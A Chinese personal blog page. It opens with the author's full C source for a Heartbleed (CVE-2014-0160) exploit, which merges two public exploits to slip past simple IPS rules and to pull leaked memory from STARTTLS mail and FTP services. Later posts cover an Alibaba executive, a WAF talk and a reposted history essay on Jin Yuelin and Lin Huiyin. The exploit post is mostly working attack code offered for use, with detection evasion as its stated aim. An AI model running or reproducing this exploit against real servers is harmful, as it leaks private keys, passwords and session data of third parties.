OpenSSL的heartbeat漏洞(CVE-2014-0160)

这几天openssl的信息泄露漏洞闹得满城风雨,漏洞的原因http://drops.wooyun.org/papers/1381分析得很清楚了。第一个版本的EXP是针对HTTPS的,我提出作简单的IPS规则过滤。匹配tcp协议payload长度为8字节并且前6个字节等于\0x18\0x03\0x02\0x00\0x03\0x01的数据包,做丢弃处理。

结果今天有老外放出一个新的EXP,https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c。它不是在TCP层去发送心跳请求,而是改成了在TLS层去做。这样,心跳请求就是加密的了,长度不固定,而且固定的字节进一步缩短,IPS规则再缩短的话就有大量误报了,估计厂商只能精确识别,简单的规则行不通了。

另外的,由于是OpenSSL的漏洞,影响面不仅仅是HTTPS,其它的应用也在范围之内,因此有了这个EXP,https://github.com/decal/ssltest-stls/blob/master/ssltest-stls.py,它可以DUMP非HTTPS的数据,如SMTPS的。

BTW,465、993、995这种端口,默认就是SSL的,不需要STARTTLS之类的指令,监听25端口的SMTP默认明文,但是有的可以用STARTTLS要求开启加密隧道。

有鉴于此,我把这两个EXP整合了一下,即可以躲避简单的IPS,也可以搞SMTPS之类的服务。IMAPS的没测试,没找到合适的目标机器。

/* 
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. 
* 
* https://github.com/HackerFantastic/Public/blob/master/exploits/heartbleed.c
* https://raw.githubusercontent.com/decal/ssltest-stls/master/ssltest-stls.py
* 
* yunshu@outlook.com
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>

#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
		(((unsigned int)(c[1]))    )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
		 c[1]=(unsigned char)(((s)    )&0xff)),c+=2)

typedef struct {
	int socket;
	SSL *sslHandle;
	SSL_CTX *sslContext;
} connection;

typedef struct {
  unsigned char type;
  short version;
  unsigned int length;
  unsigned char hbtype;
  unsigned int payload_length;
  void* payload;
} heartbeat;

int tcp_connect(char* server,int port){
	int sd,ret;
	struct hostent *host;
        struct sockaddr_in sa;
        host = gethostbyname(server);
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd==-1){
		printf("[!] cannot create socket\n");
		exit(0);
	}
	sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr = *((struct in_addr *) host->h_addr);
        bzero(&(sa.sin_zero),8);
	printf("[ connecting to %s %d/tcp\n",server,port);
        ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
	if(ret==0){
		printf("[ connected to %s %d/tcp\n",server,port);
	}
	else{
		printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
		exit(0);
	}
	return sd;
}

void ssl_init(){
        SSL_load_error_strings();
        SSL_library_init();
        OpenSSL_add_all_digests();
        OpenSSL_add_all_algorithms();
        OpenSSL_add_all_ciphers();
}

connection* tls_connect(int sd){
        connection *c;
	c = malloc(sizeof(connection));
        c->socket = sd;
        c->sslHandle = NULL;
        c->sslContext = NULL;
        c->sslContext = SSL_CTX_new(TLSv1_client_method());
        if(c->sslContext==NULL)
                ERR_print_errors_fp(stderr);
        c->sslHandle = SSL_new(c->sslContext);
        if(c->sslHandle==NULL)
                ERR_print_errors_fp(stderr);
        if(!SSL_set_fd(c->sslHandle,c->socket))
                ERR_print_errors_fp(stderr);
        if(SSL_connect(c->sslHandle)!=1)
                ERR_print_errors_fp(stderr);
        if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
                c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
                printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
        }
	return c;
}

int pre_cmd(int sd, int type){
	char buff[1024] = { 0 };

	// smtp
	if(type==1){
		char *cmd1 = "EHLO openssl.client.net\r\n";
		char *cmd2 = "STARTTLS\r\n";

		sd = get_banner( sd );
		sd = send_cmd( sd, cmd1 );
		sd = send_cmd( sd, cmd2 );
	}
	else if(type==2){
		char *cmd = "STLS\r\n";
		
		sd = get_banner( sd );
		sd = send_cmd(sd, cmd);
	}
	else if(type==3){
		char *cmd = "STARTTLS\r\n";
		sd = get_banner( sd );
		sd = send_cmd(sd, cmd);
	}
	else if(type==4){
		char *cmd = "AUTH TLS\r\n";
		sd = get_banner( sd );
		sd = send_cmd(sd, cmd);
	}
	return sd;
}

int get_banner( int sd )
{
	char buff[10240] = { 0 };
	
	memset( (void*)buff, 0, sizeof(buff) );
	recv(sd, buff, sizeof(buff)-1, 0 );
	printf( "[ recv: %s\n", buff );

	return sd;
}
	
int send_cmd( int sd, char *cmd )
{
	char buff[10240] = { 0 };

	send(sd, (void *)cmd, strlen(cmd), 0 );
	printf( "[ send: %s\n", cmd );
	memset( (void*)buff, 0, sizeof(buff) );
	recv(sd, buff, sizeof(buff)-1, 0 );
	printf( "[ recv: %s\n", buff );

	return sd;
}
	
void* heartbleed(connection *c){
	unsigned char *buf, *p;
        int ret;
	buf = OPENSSL_malloc(1 + 2);
        p = buf;
        *p++ = TLS1_HB_REQUEST;
	
	s2n(0xffff,p);
	printf("[ setting heartbeat payload_length to 65535 bytes\n");
	
	printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
        ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
        OPENSSL_free(buf);
	printf( "[ exp send finished.\n" );
	return c;
}

void* sneakyleaky(connection *c,char* filename, int verbose){
	char *p;
        int ssl_major,ssl_minor,al;
        int enc_err,n,i;
        SSL3_RECORD *rr;
        SSL_SESSION *sess;
	SSL* s;
        unsigned char md[EVP_MAX_MD_SIZE];
        short version;
        unsigned mac_size, orig_len;
        size_t extra;
        rr= &(c->sslHandle->s3->rrec);
        sess=c->sslHandle->session;
        s = c->sslHandle;
        if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
                extra=SSL3_RT_MAX_EXTRA;
        else
                extra=0;
        if ((s->rstate != SSL_ST_READ_BODY) ||
                (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
                        n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
                        if (n <= 0)
                                goto apple; 
                        s->rstate=SSL_ST_READ_BODY;
                        p=s->packet;
                        rr->type= *(p++);
                        ssl_major= *(p++);
                        ssl_minor= *(p++);
                        version=(ssl_major<<8)|ssl_minor;
                        n2s(p,rr->length);
			if(rr->type==24){
				printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
			}
			else{
				printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
				s->packet_length=0;
				goto apple;
			}
        }
        if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
                i=rr->length;
                n=ssl3_read_n(s,i,i,1);
                if (n <= 0) goto apple; 
        }
	printf("[ decrypting and decompressing SSL packet\n");
        s->rstate=SSL_ST_READ_HEADER; 
        rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
        rr->data=rr->input;
        tls1_enc(s,0);
        if(verbose==1){
                { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
                printf("\n");
        }
        if((sess != NULL) &&
            (s->enc_read_ctx != NULL) &&
            (EVP_MD_CTX_md(s->read_hash) != NULL))
                {
                unsigned char *mac = NULL;
                unsigned char mac_tmp[EVP_MAX_MD_SIZE];
                mac_size=EVP_MD_CTX_size(s->read_hash);
                OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
                orig_len = rr->length+((unsigned int)rr->type>>8);
                if(orig_len < mac_size ||
                  (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
                   orig_len < mac_size+1)){
                        al=SSL_AD_DECODE_ERROR;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
                }
                if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
                        mac = mac_tmp;
                        ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
                        rr->length -= mac_size;
                }
                else{
                        rr->length -= mac_size;
                        mac = &rr->data[rr->length];
                }
                i = tls1_mac(s,md,0);
                if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
                        enc_err = -1;
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
                        enc_err = -1;
                }
        if(enc_err < 0){
                al=SSL_AD_BAD_RECORD_MAC;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
                goto apple;
        }
        if(s->expand != NULL){
                if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
                        al=SSL_AD_RECORD_OVERFLOW;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
                        goto apple;
                        }
                if (!ssl3_do_uncompress(s)) {
                        al=SSL_AD_DECOMPRESSION_FAILURE;
                        SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
                        goto apple;
                        }
                }
        if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
                al=SSL_AD_RECORD_OVERFLOW;
                SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
                goto apple;
        }
        rr->off=0;
        s->packet_length=0;
	printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
	int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
        write(fd,s->s3->rrec.data,s->s3->rrec.length);
        close(fd);
	printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
	printf("[ done.\n");
	exit(0);
apple:
        printf("[ problem handling SSL record packet - wrong type?\n");
}

void usage(){
	printf("[\n");
	printf("[ --server|-s <ip/dns>    - the server to target\n");
	printf("[ --port|-p   <port>      - the port to target\n");
	printf("[ --file|-f   <filename>  - file to write data to\n");
	printf("[ --type|-t               - select service type to try\n");
	printf("[                           0 = default using ssl tunnel, don't need STARTTLS, just like 443(https),465(smtps),995(pop3s),993(imaps)\n");
	printf("[			    1 = smtp, 25\n");
	printf("[			    2 = pop3, 110\n");
	printf("[			    3 = imap, 389\n");
	printf("[			    4 = ftp, 21\n");
	printf("[\n");
	printf("[ --verbose|-v            - output leak to screen\n");
	printf("[ --help|-h               - this output\n");
	printf("[\n");
	exit(0);
}

int main(int argc, char* argv[]){
	int ret, port, userc, index;
	int type = 1, udp = 0, verbose = 0, bind = 0;
	struct hostent *h;
	connection* c;
	char *host, *file;
	int ihost = 0, iport = 0, ifile = 0, itype = 0;
	printf("\n\n");
	printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
	printf("[ =============================================================\n");
        static struct option options[] = {
        	{"server", 1, 0, 's'},
	        {"port", 1, 0, 'p'},
		{"file", 1, 0, 'f'},
		{"type", 1, 0, 't'},
		{"verbose", 0, 0, 'v'},
		{"help", 0, 0,'h'}
        };
	while(userc != -1) {
	        userc = getopt_long(argc,argv,"s:p:f:t:vh",options,&index);	
        	switch(userc) {
               		case -1:
	                        break;
        	        case 's':
				if(ihost==0){
					ihost = 1;
					h = gethostbyname(optarg);				
					if(h==NULL){
						printf("[!] FATAL: unknown host '%s'\n",optarg);
						exit(1);
					}
					host = malloc(strlen(optarg) + 1);
					sprintf(host,"%s",optarg);
               			}
				break;
	                case 'p':
				if(iport==0){
					port = atoi(optarg);
					iport = 1;
				}
                	        break;
			case 'f':
				if(ifile==0){
					file = malloc(strlen(optarg) + 1);
					sprintf(file,"%s",optarg);
					ifile = 1;
				}
				break;
			case 't':
				if(itype==0){
					type = atoi(optarg);
					itype = 1;
				}
				break;
			case 'h':
				usage();
				break;
			case 'b':
				if(ihost==0){
					ihost = 1;
					host = malloc(strlen(optarg)+1);
					sprintf(host,"%s",optarg);
					bind = 1;
				}
				break;
			case 'v':
				verbose = 1;
				break;
			default:
				break;
		}
	}
	if(ihost==0||iport==0||ifile==0||itype==0){
		printf("[ try --help\n");
		exit(0);
	}
	ssl_init();
	
	ret = tcp_connect(host, port);

	if(type!=0){
		pre_cmd(ret, type);
	}

	c = tls_connect(ret);
	heartbleed(c);
	sneakyleaky(c,file,verbose);

	printf("\n\n");
	exit(0);
}
发表在 技术 | 6条评论

关于王博士

感觉挺有意思的,同一件事情,过一段时间,眼界开阔一点,看到的东西完全不一样。现在相信有些人的内心就是比较强大。

起因是在2012年,知乎上有一个问题,http://www.zhihu.com/question/20486020问王博士是一个什么样的人。许多人回答,但是基本上是批评。那时候我对王博士也有许多看法,于是也回答了一下。我说

2012-09-20:
我在阿里是个p民,不了解情况。我知道的是,每次开大会我都听不懂王博士在讲什么。

但是现在事情过了2年,我的看法变了很多。于是去补充了一下我当初的回答。

2014-03-07 update:
事隔两年,我眼界更开阔了一些,回来补充一下这个答案。
个人认为,王博士对阿里有3个贡献:
1. 担任阿里云CEO,给高层灌输了云的概念,并且不折不挠的推动实施。未来是云和移动的时代,腾讯已经有了移动端,而阿里的云在国内是领先的。如果没有云这个东西,跟腾讯打起来我们会更被动。
2. 担任CTO,组建阿里云等一系列的更有技术含量的东西,逐步引导阿里从销售型的公司往技术型、工程师型的公司转变,工程师的薪资、地位都得到了提升。
3. 去IOE,这是云的一个辅助策略,但是确实有效的降低了阿里的成本,并且提升了横向扩展的能力。

在阿里,可能有些事情博士执行得不是很好,但是他开创了这个东西,而且确实给公司带来了巨大的价值。他的内心很强大,马云的眼光也很好。成功都不是侥幸。

发表在 技术 | 留下评论

公司内部分享——透明接入WAF

曾经在外部做过多次分享,关于我的理想——安全设备虚拟化。将各大公司不同的硬件盒子抽象成统一的VM,再结合SDN,加载不同的Image,形成不同的安全产品提供给云用户使用。但是,推动很困难。

我2012年底开始准备自己做点东西出来,当成一个example给人看看,经历重重磨难,终于在2013年底做出来了,这就是我的透明接入WAF。前些时候在公司内部给同事做了一个简单的分享,贴到博客来。其实我很多分享ppt,没贴出来结果就找不到了……

透明接入WAF

发表在 技术 | 5条评论

层累的和真实的金岳霖、梁思成与林徽因

转自http://www.guancha.cn/culture/2013_05_05_142492.shtml

很多关于金岳霖、梁思成和林徽因的传记资料以讹传讹,把金岳霖塑造成了一个痴情者,称他为了林徽因而“终身未婚”。实际上,在历史中真实金岳霖不仅没有那么痴情,而且还是同时代人中公认的放浪形骸的人物,用梁思成的话来说,“very Bohemian indeed”。

为了塑造金岳霖的痴情形象,很多文章都玩了一个文字游戏,即强调金岳霖为了林徽因而“终身未娶”。确实,金终身未娶,但他和美国女友Taylor长 期保持同居关系。一直没结婚,只是因为两人都信奉当时英国哲学家罗素(Bertrand Russell)提出的“试婚”制罢了。Taylor原本是金岳霖在哥伦比亚大学读书时的同学,后随他来中国定居。两人不但长期保持伴侣关系,而且还育有 一女。

金岳霖

金岳霖

此事在当时广为人知,比如吴宓在1930年4月19号的日记写道:

“下午大风。4-5乘人力车入城,至史家胡同54号甲金岳霖宅,赴Lilian Taylor女士招茶会,为介绍其女友Binda女士。”

但这条记录似乎没说清楚金岳霖和Taylor的关系,同年4月4号的日记则一语道破:

“(吴宓打算)对彦问题拟俟届时在巴黎见面之后,斟酌实情,再为决定。如感情浓厚,即仿金岳霖与Lilian Taylor式而同居,或仿张奚若与杨景任式而结婚。”

从吴宓的记录里还可看出,同居而不婚这种新型的两性关系,似乎在30年代北京学术圈内很流行,尤其在留美学生中。因为这很合新文化运动中那批要彻底否定传统文化,“冲破家庭束缚”的学者们的胃口。

Taylor女士来中国后,一度在山东大学教书,何炳棣曾经是她的学生,何后来在《读史阅世六十年》(中华书局,2012 p.50-51)里回忆道:

“泰勒女士(Miss Lilian Taylor)最不可解的是她明明是美国人,但三番五次警告我们决不可学一般美国人的发音……她的英文发音和语调是比‘皇家英文’都更‘英’。多年以后才 知道她在20年代是美国故意反抗礼教的‘女叛徒’之一,这就说明何以她在20年代卜居北平,和清华大学哲学系教授金岳霖同居生女而不婚。”

一个叛逆的新式女性形象呼之欲出,她的伴侣金岳霖是一个什么样的人,不难推知。

所以金岳霖与Taylor虽无结婚之名,而有结婚之实。虽然笔者暂时还没有找到任何资料显示Taylor具体是什么时候与金岳霖分手并回美国的,但 从吴宓日记可见,直到1930年上半年,两人还住在一起,所以当金岳霖1931年开始狂热追求林徽因时,不但是直接干涉林、梁之间的婚姻,而且还很有可能 是背叛了Taylor。也许正是金岳霖追求有夫之妇林徽因的举动,才导致女友Taylor的强烈不满,并最终愤然回国。

而梁思成一边的情况又是如何呢?思成之父梁启超和徽因之父林长民是挚友,两人都是民国初年进步党的骨干。1925年,林长民中流弹身亡,当时林徽因与梁思成都在宾夕法尼亚大学读书,梁启超得知林长民身亡后,写信给儿子思成:

“这种消息,谅来瞒不过徽因……我和林叔叔的关系,她是知道的,林叔的女儿,就是我的女儿,何况更加以你们两个的关系。我从今以后,把她和思庄一样 的看待她,在无可慰藉之中,我愿她领受我这种十二分的同情,渡过她目前的困境。她要鼓起勇气,发挥她的天才,完成她的学问,将来和你共同努力,替中国艺术 界有点贡献,才不愧为林叔叔的好孩子。这些话你要用尽你的力量来开解她……徽因留学总要以和你同时归国为度,学费不成问题,只算我多一个女儿在外留学便 了,你们更不必因此着急。”

(丁文江《梁任公先生年谱长编》,中华书局,2010,p. 570。原文中指代林徽因的“她”都作“他”,为方便阅读,此处全部做了调整。)

金岳霖(左)与林徽因及费正清夫妇等在一起

金岳霖(左)与林徽因及费正清夫妇等在一起

任公对未来儿媳的情深意长,我们今天读来仍是心有戚戚焉。林徽因赴美留学并没有考取官费,一切费用自理,所以1925年后的所有开销,其实都由梁启 超承担的,直到1928年。所以,一边是吃着碗里想着锅里的金岳霖,另一边则是恩重如山的公公梁启超,和志同道合的丈夫梁思成,我想,只要林徽因的脑子没 进水,在两者之间做出选择都不难。

把原本多情放浪的金岳霖生生包装得专一痴情,甚至说得他好像除了林徽因外,一辈子就没有和其他任何女子交往过,这其实是近十几年内各种小说、报道、不严谨的史学著作共同渲染的结果。套用顾颉刚《古史辨》的著名说法,这是“层累地造成的金岳霖”。

为什么说这是层累的?因为这个版本的金岳霖,以及他和林、梁的三角关系,恰好迎合了那些看了太多男默女泪的爱情电影、韩剧的痴男怨女的文艺心态,以 及他们对于“唯美爱情”的向往。中国传统的“从一而终”的潜意识(sub-consciousness)也在其中影影绰绰地浮现。金岳霖这个对爱情忠贞不 二的人物典型(archetype),其实是在媒体传播过程中,由大众心理层累地塑造出来的。这和谣言(rumors)的产生机制很像:符合大众心理的信 息会被迅速、广泛地传播,而不符合的则被自动摒除。

金岳霖才没那么可怜,1924年他拿到博士学位后,带着漂亮的美国女友Taylor漫游欧罗巴大陆,你能想象那是何等惬意?

(作者:白鹇)

请支持独立网站,转发请注明本文链接:http://www.guancha.cn/culture/2013_05_05_142492.shtml
发表在 读书 | 留下评论